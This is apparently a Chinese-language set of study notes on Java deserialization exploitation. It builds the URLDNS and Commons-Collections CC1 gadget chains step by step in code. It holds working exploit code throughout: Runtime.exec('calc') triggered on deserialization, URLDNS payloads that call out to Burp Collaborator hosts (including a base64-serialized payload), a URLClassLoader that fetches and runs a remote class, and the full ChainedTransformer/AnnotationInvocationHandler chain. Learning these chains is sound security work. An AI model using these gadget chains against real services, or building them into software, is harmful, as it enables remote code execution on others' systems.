序列化和反序列化
persion.java
import java.io.Serializable;
public class Persion implements Serializable { private String wan; private int i;
@Override public String toString() { return "Persion{" + "wan='" + wan + '\'' + ", i=" + i + '}'; }
public String getWan() { return wan; }
public void setWan(String wan) { this.wan = wan; }
public int getI() { return i; }
public void setI(int i) { this.i = i; }
public Persion() { }
public Persion(String wan, int i) { this.wan = wan; this.i = i; } }
|
serialize.java
import java.io.FileOutputStream; import java.io.ObjectOutputStream;
public class SerializeTest { public static void serilize(Object obj) throws Exception { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("ser.bin")); os.writeObject(obj); }
public static void main(String[] args) throws Exception{ Persion persion = new Persion("wan",22); System.out.println(persion); serilize(persion); }
}
|
Unserialize.java
import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream;
public class UnserializeTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream osi = new ObjectInputStream(new FileInputStream(Filename)); Object obj = osi.readObject(); return obj; }
public static void main(String[] args) throws IOException, ClassNotFoundException { Persion persion = (Persion) unserialize("ser.bin"); System.out.println(persion); }
}
|
重写persion类中的readObject方法
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class Persion implements Serializable { private String wan; private int i;
@Override public String toString() { return "Persion{" + "wan='" + wan + '\'' + ", i=" + i + '}'; }
public String getWan() { return wan; }
public void setWan(String wan) { this.wan = wan; }
public int getI() { return i; }
public void setI(int i) { this.i = i; }
public Persion() { }
public Persion(String wan, int i) { this.wan = wan; this.i = i; } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); } }
|
重新序列化和反序列化
这里的愿意是Persion类重写了readObject(),由于在执行反序列化的时候,它会自动调用,所以导致了calc的执行
反射
persion.java
public class Persion { private String name; public int age;
public void action(){ System.out.println("action test"); } @Override public String toString() { return "Persion{" + "name='" + name + '\'' + ", age=" + age + '}'; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public Persion() { }
public Persion(String name, int age) { this.name = name; this.age = age; } }
|
import java.lang.reflect.Constructor;
public class Refelct { public static void main(String[] args) throws Exception { Persion persion = new Persion();
Class<? extends Persion> persionClass = persion.getClass();
Persion persion1 = persionClass.newInstance();
Constructor<? extends Persion> persionConstructor = persionClass.getConstructor(String.class, int.class);
Persion persion2 = persionConstructor.newInstance("wan", 1); System.out.println(persion2);
} }
|
import java.lang.reflect.Constructor; import java.lang.reflect.Field;
public class Refelct { public static void main(String[] args) throws Exception { Persion persion = new Persion(); Class<? extends Persion> persionClass = persion.getClass(); Constructor<? extends Persion> persionConstructor = persionClass.getConstructor(String.class, int.class); Persion persion1 = persionConstructor.newInstance("wan", 111);
Field[] fields = persionClass.getFields(); for (Field field : fields) {
}
Field[] declaredFields = persionClass.getDeclaredFields(); for (Field declaredField : declaredFields) {
}
Field ageField = persionClass.getField("age");
ageField.set(persion1,2222); System.out.println(persion1);
Field nameFiled = persionClass.getDeclaredField("name");
nameFiled.setAccessible(true); nameFiled.set(persion1,"aaa"); System.out.println(persion1);
} }
|
java反序列化urldns链
我们先分析hashmap看看
首先这里实现了Serializable接口是可以进行序列化的
curl+f12 搜索类中方法readObject,这里也是存在readObject()方法的,也就是说明,hashmap既可以进行序列化,也可以在反序列化的时候自动调用,
可以看到这里调用了hash函数,其中先是循环去除key,接着在hash中传了key
接着跟过去,发现调用了hashCode
到这里就会发现hashCode非常常见,因此我们就可以将hashMap作为入口类
接着我们看一下urldns链不能执行命令,但通常作为验证是否存在反序列化漏洞的一种方式.ysoserial工具,它集合了各种java反序列化的payload.ysoserial.jar下载完成之后我们打开看一下调用链
可见这里首先是通过HashMap.readObject()方法的自动调用作为入口,接着就是上面的HashMap的hash.然后这里就是重点了,也就是这里的URL.hashCode().这里为什么是URL.hashCode呢
这里是调用的key的hashCode()方法,而这里的key我们可以通过hashmap的put方法放入一个URL对象,也就是说,这里的key其实是我们可以控制的.
可见使用了URL的hashCode方法.这里我们回过头来去看一下URL的hashCode()方法
可见实现了Serializeable接口,这里也是说明URL对象也是可以进行序列化的,那你也许会说,为啥不用URL对象的readObject()方法呢
其实是有重写的,不过这里没有办法利用,因为并没有调用到有用的方法,就像我们在刚开始那个Persion重写的readObject()那样
接着我们来看hashCode()方法,还记得吗,在上面其实是调用了URL的hashCode()方法,这里为啥要调URL的hashCode()方法呢?
可见调用了handler的hashCode()方法,这里传入了一个URL对象
这里又调用了getHostAddress方法,跟过去看看,可见这里是会进行dns解析,那么这里就完美了
这里我们就开始写利用函数,我们先去burp生成一个dns连接
copy
dns.java
import java.net.URL; import java.util.HashMap;
public class dns { public static void main(String[] args) throws Exception { URL url = new URL("http://i8rvj4c7vdn2x353vm3eufouslybm0.burpcollaborator.net"); url.hashCode();
} }
|
我们这里写的是正常情况下我们怎么触发这个dns请求
可见这里先是进行了hashCode 这个值是否等于-1,注意这里我们是不等的
这里也是去请求了,这里也收到了
接着我们写一下反序列化的调用链
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.net.URL; import java.util.HashMap;
public class dns { public static void main(String[] args) throws Exception {
HashMap<URL, Integer> objectObjectHashMap = new HashMap<>();
URL url = new URL("http://rzu4ad3gmmebocwcmvunlof3juplda.burpcollaborator.net");
objectObjectHashMap.put(url,1);
unserilize("ser.bin");
} public static void serilize(Object obj)throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj);
} public static Object unserilize(String Filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object o = objectInputStream.readObject(); return o; } }
|
这里正常来说在序列化的时候是不会接受到dns请求的,但是并不是.执行之后burp就收到了dns请求了
至于为什么呢.我们跟一下put方法来看看
这里put调用了hash()
这里可以看到调用了key的hashCode方法,也就是说调用了URL的hashCode方法,接着步入
这里可以看到如果hashCode不等于-1就返回hashCode
我们先去搞清楚这个hashCode是在什么时候赋值的,或者更改的,从下面可见这里的hashCode在初始化的时候是-1
到这里就发现看到了对hashCode的赋值
也就是说,在put之前我们不能让hashCode是-1,不然hashCode(this)就会执行,就会执行dns请求.而如果不改回来的话呢,hashCode就不等于-1,也就是在反序列化的时候就无法执行.
注意第一个调用的不是URL对象的hashCode哦,我们直接到第三个
可见这里根本就不会执行下面的handler的hashCode方法,也就不会去请求dns了
也就是说,我们要在put之前将hashCode进行更改不等于-1,不进行dns请求.在put之后将hashCode更改回-1,让他在反序列化的时候进行dns请求.(不懂重新敲一遍)
我们改为之后就可以序列化和反序列化了
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class dns { public static void main(String[] args) throws Exception {
HashMap<URL, Integer> objectObjectHashMap = new HashMap<>();
URL url = new URL("http://ni9zwg53yga0f5jhqxa5uqxfn6tyhn.burpcollaborator.net");
Class<? extends URL> urlClass = url.getClass();
Field hashCodeField = urlClass.getDeclaredField("hashCode"); hashCodeField.setAccessible(true); hashCodeField.set(url,111);
objectObjectHashMap.put(url,1);
hashCodeField.set(url,-1);
serilize(objectObjectHashMap); unserilize("ser.bin");
} public static void serilize(Object obj)throws Exception{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj);
} public static Object unserilize(String Filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object o = objectInputStream.readObject(); return o; }
}
|
改成base64形式
package org.example;
import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.nio.charset.StandardCharsets; import java.util.Base64; import java.util.HashMap;
public class urldnsre { public static void main(String[] args) throws Exception{ HashMap<URL,Integer> hashMap = new HashMap<>(); URL url = new URL("http://9akkvj4eq43jdlgj889wfnuo3f98xx.burpcollaborator.net"); Class<? extends URL> urlClass = url.getClass(); Field hashCode = urlClass.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,10000); hashMap.put(url,1); hashCode.set(url,-1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap);
byte[] bytes = byteArrayOutputStream.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String s = encoder.encodeToString(bytes); System.out.println(s); String str = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAMzlha2t2ajRlcTQzamRsZ2o4ODl3Zm51bzNmOTh4eC5idXJwY29sbGFib3JhdG9yLm5ldHQAAHEAfgAFdAAEaHR0cHB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4"; Base64.Decoder decoder = Base64.getDecoder(); byte[] decode = decoder.decode(str); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject();
}
}
|
静态代理
ProxyTest.java
包含main方法用于调用
import java.lang.reflect.Proxy;
public class ProxyTest { public static void main(String[] args) { UserImpl user = new UserImpl();
UserProxy userProxy = new UserProxy(user); userProxy.show();
UserInvocationHandler userInvocationHandler = new UserInvocationHandler(user); IUser userProx = (IUser)Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvocationHandler); userProx.update(); } }
|
UserImple.java
用于实现Iuser接口
public class UserImple implements Iuser{ @Override public void create() { System.out.println("调用了create"); }
@Override public void delete() { System.out.println("调用了delete"); }
@Override public void show() { System.out.println("show"); } }
|
IUser.java
Iuser接口
public interface Iuser { void show(); void create(); void delete(); }
|
UserProxy.java
作为user的代理
public class UserProxy implements Iuser{ @Override public void show() { show(); System.out.println("调用了show"); }
@Override public void create() { create(); System.out.println("调用了create"); }
@Override public void delete() { delete(); System.out.println("调用了delete"); } }
|
类的动态加载
重写Persion.java
import java.io.Serializable;
public class Persion implements Serializable { public String name; private int age;
@Override public String toString() { return "Persion{" + "name='" + name + '\'' + ", age=" + age + '}'; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public Persion() { }
public Persion(String name, int age) { this.name = name; this.age = age; }
static { System.out.println("静态代码块"); }
{ System.out.println("构造代码块"); }
public static void action() { System.out.println("静态action"); }
}
|
LoadClass.java
public class LoadClassTest { public static void main(String[] args) { new Persion("aa",2); System.out.println("-----"); Persion.action(); } }
|
public class LoadClassTest { public static void main(String[] args) {
Class clazz = Persion.class;
} }
|
可见没进行初始化
public class LoadClassTest { public static void main(String[] args) throws Exception{ Class.forName("Persion"); } }
|
这里初始化了
public class LoadClassTest { public static void main(String[] args) throws Exception{
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); Class<?> persion = Class.forName("Persion", false, systemClassLoader); persion.newInstance();
} }
|
Test.java
import java.io.IOException;
public class Test { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }
|
编译一下Test.java 接着删除Test.java防止影响
import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;
public class LoadClassTest { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException {
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://wan/")}); Class<?> hello = urlClassLoader.loadClass("Test"); hello.newInstance();
} }
|
起一个网页,把Test.class放到网站下面
import sun.misc.Unsafe;
import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; import java.nio.file.Files; import java.nio.file.Paths;
public class LoadClassTest { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, IOException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
byte[] code = Files.readAllBytes(Paths.get("D:\\Download\\java\\src\\Test.class"));
Class c = Unsafe.class; Field theUnsafe = c.getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafe.get(null); Class c2 = unsafe.defineClass("Test",code,0,code.length,systemClassLoader,null); c2.newInstance(); } }
|
cc1
Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
->AnnotationInvocationHandler.readObject() ->mapProxy.entrySet().iterator() //动态代理类 ->AnnotationInvocationHandler.invoke() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->…………
|
下载java 8u65
https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
找到这个sun
D:\Download\jdk-af660750b2f4\src\share\classes
|
添加maven项目
解压这个
在把sun考进src里面
添加src
添加依赖
<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
CC1Test.java
package org.example;
import java.io.*;
public class CC1Test { public static void main(String[] args) {
} public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
导入org.apache.commons.collections.Transformer包
如果maven下载不下来源码,可以换一个maven试试
接着我们开始分析cc1
查看实现的方法 ctrl + alt + b
我们去查看InvokeTransform.java
可以见到这里的input.getClass()获取了一个类对象,接着得到了类的一个方法,接着去执行这个input的iArgs方法
正常弹个计算器
package org.example; import java.io.*; import java.lang.reflect.Method;
public class CC1Test { public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("calc");
} public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
反射弹计算器
package org.example; import java.io.*; import java.lang.reflect.Method;
public class CC1Test { public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
Class<? extends Runtime> runtimeClass = runtime.getClass();
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(runtime,"calc");
} public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
调用InvokerTransformer()的transform()弹个计算器
先去看构造方法,首先是一个方法的名字,接着是一个类对象数组其中放的是参数类型,接着是args的参数
package org.example; import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.Method;
public class CC1Test { public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); exec.transform(runtime);
} public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
接着我们去看看谁调用了transform()
可以看到这里都调用了transform(),这里我们就直接看checkSetValue()了
这里可以看到valueTransformer调用了transform()方法.但是也行你已经发现了这里的transform()方法中还有一个value,我们并不能现在就给他赋值.这里需要先注意一下哦.那么我们就需要去看看这个valueTransformer是在哪里赋值的
这里可以看到这里的TransformedMap是对valueTransformer进行了赋值,但是这里的方法其实是protected的,那么肯定在本类中有调用
也可以看到这里进行了调用操作,这里也可以发现这个decorate是一个静态方法不需要new对象.
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.reflect.Method; import java.util.HashMap;
public class CC1Test { public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); exec.transform(runtime);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
TransformedMap.decorate(objectObjectHashMap,null,exec);
} public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
这里已经赋值完成了,我们就需要去调用这个checkSetValue了,先查找一下
写成这样,接着我们去找哪里调用了checkSetValue()
这里找到了抽象类的AbstractInputCheckedMapDecorator中的setValue()
这里是继承了这个AbstractInputCheckedMapDecorator类,所以在子类TransformedMap调用setValue的时候就会调用AbstractInputCheckedMapDecorator的.
也就是这里,这里我们已经找到了去checkSetValue()的地方,那么我们又要去寻找可以调用setValue的地方.其实这里我们已经找到了就在AnnotationInvocationHandler类中.可以看到这里采用的是循环的方式去调用setValue,因此我们也可以写成这种方式.
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER;
import java.io.*; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1Test { public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("key","value");
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, exec);
for (Map.Entry entry:decorate.entrySet()){ entry.setValue(runtime); }
} public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new `FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
这里可以看到首先是在TransformedMap中有个valueTransformer,之后在decorateTransform中new 了一个TransformedMap
现在我们找到了调用setValue的地方还需要注意的是这里的方法就是我们需要的readObject方法,也就是反序列化的起点
接着我们去看看memberValue是怎么赋值的
可以看到这里是一个默认类型的构造方法方法,也就是只能在当前包下才能调用.其中的参数第一个其实是一个注解(@Override这种),第二个是一个map类型,也就是这里需要反射来创建(原因就是这里的构造方法其实是一个默认方法)
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1Test { public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("key","value");
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, exec);
Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
aihClassDeclaredConstructor.setAccessible(true);
Object o = aihClassDeclaredConstructor.newInstance(Override.class, decorate);
} public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
到这里我们已经找到了起点和终点,现在我们需要将它串起来,并且可以反序列化.还记得在checkSetValue(value)这里我们传入的value吗.这个关键的Rntime.getRuntime()其实是不能被反序列化的.我们需要通过反射去拿到
这里其实用到了java的单例模式,这里简单来说就是我们可以通过调用getRuntime来构造一个Runtime对象,顺便仔细理解一下
这一行
Runtime.getRuntime().exec("calc");
|
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1Test { public static void main(String[] args) throws Exception {
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("key","value");
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, exec);
Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
aihClassDeclaredConstructor.setAccessible(true);
Object o = aihClassDeclaredConstructor.newInstance(Override.class, decorate);
Class<Runtime> runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime",null);
Runtime runtime1 = (Runtime) getRuntime.invoke(null, null);
Method exec1 = runtimeClass.getMethod("exec", String.class); exec1.invoke(runtime1,"calc");
} public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
我们把整个执行全部换成反射
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class urldnsre { public static void main(String[] args) throws Exception{
Class runtimeClass = Runtime.class.getClass();
Method getRuntime = runtimeClass.getMethod("getMethod", String.class, Class[].class );
Method getRuntimeMethod = (Method) getRuntime.invoke(Runtime.class, "getRuntime", null);
Class<? extends Method> aClass1 = getRuntimeMethod.getClass(); Method invoke = aClass1.getMethod("invoke", Object.class, Object[].class);
Runtime runtime1 = (Runtime) invoke.invoke(getRuntimeMethod, null,null);
Class<? extends Runtime> aClass2 = runtime1.getClass(); Method exec = aClass2.getMethod("exec", String.class);
exec.invoke(runtime1,"calc");
}
}
|
接下来,我们将我们这种形式用到transformer上面
package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1Test { public static void main(String[] args) throws Exception {
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime runtime2 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime2);
} public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
对比版
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class urldnsre { public static void main(String[] args) throws Exception{
Class runtimeClass = Runtime.class.getClass();
Method getRuntime = runtimeClass.getMethod("getMethod", String.class, Class[].class );
Method getRuntimeMethod = (Method) getRuntime.invoke(Runtime.class, "getRuntime", null);
Method getRuntimetr = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Class<? extends Method> aClass1 = getRuntimeMethod.getClass(); Method invoke = aClass1.getMethod("invoke", Object.class, Object[].class);
Runtime runtime1 = (Runtime) invoke.invoke(getRuntimeMethod, null,null);
Runtime runtimetr = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimetr);
Class<? extends Runtime> aClass2 = runtime1.getClass(); Method exec = aClass2.getMethod("exec", String.class);
exec.invoke(runtime1,"calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtimetr);
}
}
|
这里我们可以发现,这里其实就是循环调用的,也就是前一个的输出是后一个的输入,接着我们找到了ChinedTransformer.java,可以看到对传入的一个Transformer数组进行了循环调用
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class); } public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
这里也是写完了,但是在进行序列化和反序列化的时候并不会执行
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import org.omg.CORBA.OBJ_ADAPTER;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>(); objectObjectHashMap.put("key","value");
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer); Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class); aihClassDeclaredConstructor.setAccessible(true); Object o = aihClassDeclaredConstructor.newInstance(Override.class, decorate);
serialize(o); unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); Object obj = objectInputStream.readObject(); return obj; } }
|
加个断点我们来查看一下是不是if语句的问题
可以看到这里的memberTypes是null也就是进不去if语句.
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
|
这一句话的意思大概就是去拿注解里面的方法名,返回的是一个hashmap
接下来通过我们传入的objectObjectHashMap中的key去寻找对应的hashmap有没有这个key名称的方法
这里我们先看看正确的
现在已经可用进入if语句了但是又出现了一个问题
注意这个对象
其实这两句是一样的了
chainedTransformer.transform(Runtime.class); valueTransformer.transform(value);
|
其实现在你有可能不理解但是你可以跟下去调试一下,也就是到了这一步里面去了,现在我们已经可以调用transform().
但是由于这个value值在前面已经固定了(就是这个对象AnnotationTypeMismatchExceptionProxy),所以我们还需要去将它更改成Rntime.class
我们由找到了这里的ConstanTransformer,由于构造的时候传入的值通过调用transform会原样返回回来,所以我们就可以将这个值改成Runtime.class
